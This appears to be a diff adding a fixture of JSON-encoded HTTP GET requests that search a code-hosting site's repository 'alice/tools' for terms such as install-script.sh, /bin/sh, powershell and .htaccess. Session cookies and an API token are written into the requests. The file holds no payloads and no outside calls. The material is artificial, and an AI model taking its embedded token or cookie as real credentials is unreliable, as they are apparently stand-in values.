+{"method": "GET", "target": "/alice/tools/branches?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/users?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/organizations?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=docker-compose.yml&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/repos?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/users?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/organizations?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=install-script.sh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=%2Fbin%2Fsh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/repos?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/users?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/organizations?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
